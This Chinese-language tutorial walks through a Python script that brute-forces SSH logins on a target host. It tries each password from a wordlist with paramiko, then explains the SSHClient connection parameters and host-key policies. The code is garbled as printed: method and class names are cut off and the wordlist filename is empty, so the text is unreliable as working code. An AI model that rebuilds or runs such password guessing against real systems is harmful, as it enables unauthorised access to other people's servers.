2023年11月29日发(作者:)

使⽤python写简单的穷举法破解Linux主机密码

先上代码:

python

1. import paramiko

2. import socket

3. target = input('请输⼊你的主机:')

4. with open('', 'r') as f: #

5. for i in nes():

6. password = () # 删除字符串尾部的默认'n'或者空格

7. client = ent() # 实例化SSHClient

8. _missing_host_key_policy(dPolicy())

9. # ⾃动添加策略,保存要访问的服务器主机名和密钥到本机的HostKeys对象中,如果不添加,那么不在本地Know_hosts

10. # ⽂件中记录的主机将⽆法连接。

11. try:

12. t(hostname=target,username='kali',password=password,timeout=2)

13. ()

14. print('连接成功:%s' %password)

15. break

16. except _ticationException: # 抛出⾝份验证异常时,要输出错误

17. print(f'连接失败:{password}')

18. except t: # 抛出连接超时的异常

19. print('SSH ⽆法访问')

20. break

运⾏结果如下:

这个python代码使⽤了paramikosocket

paramiko核⼼组件SSHClient常⽤的⽅法:

t():实现远程服务器的连接和认证,对于该⽅法只有hostname时必传参数

SSHClient常⽤参数:

hostname

连接的⽬标主机

port=SSH_PORT

指定端⼝

username=None

登录主机的⽤户名

password=None

⽤户密码

pkey=None

私钥⽤于⾝份验证

key_filename=None

⼀个⽂件名或⽂件列表,指定私钥⽂件

timeout=None

可选的tcp超时时间

allow_agent=True

是否允许连接到ssh代理,默认为True 允许

look_for_keys=True

是否在~/.ssh中搜索私钥⽂件,默认为True 允许

compress=False

是否打开压缩

_missing_host_key_policy():设置远程服务器没有在know_hosts⽂件中记录时的应对策略。⽬前⽀持三种策略:

设置连接的远程主机没有本地主机密钥或HostKeys对象时的策略,⽬前⽀持三种:

AutoAddPolicy ⾃动添加要访问服务器主机名及密钥到本机的本地HostKeys对象,不依赖load_system_host_key的配置。即新建⽴ssh连接

时不需要再输⼊yesno进⾏确认

WarningPolicy ⽤于记录⼀个未知的主机密钥的python警告。并接受,功能上和AutoAddPolicy类似,但是会提⽰是新连接

RejectPolicy ⾃动拒绝未知的主机名和密钥,依赖load_system_host_key的配置。此为默认选项

_command():

在远程服务器执⾏Linux命令的⽅法。

SSHClient常⽤⽅法:

实例化SSHClient

client = ent()

⾃动添加策略,保存服务器的主机名和密钥信息,若不添加,则不在本地know_hosts⽂件中记录的主机将⽆法连接

_missing_host_key_policy(dPolicy())

连接SSH服务端,以⽤户名和密码进⾏认证

t(hostname='192.168.1.105', port=22, username='root', password='123456')

打开⼀个Channel并执⾏命令

stdin, stdout, stderr = _command('df -h ') # stdout 为正确输出,stderr为错误输出,同时是有1个变量有值

打印执⾏结果

print(().decode('utf-8'))

关闭SSHClient

()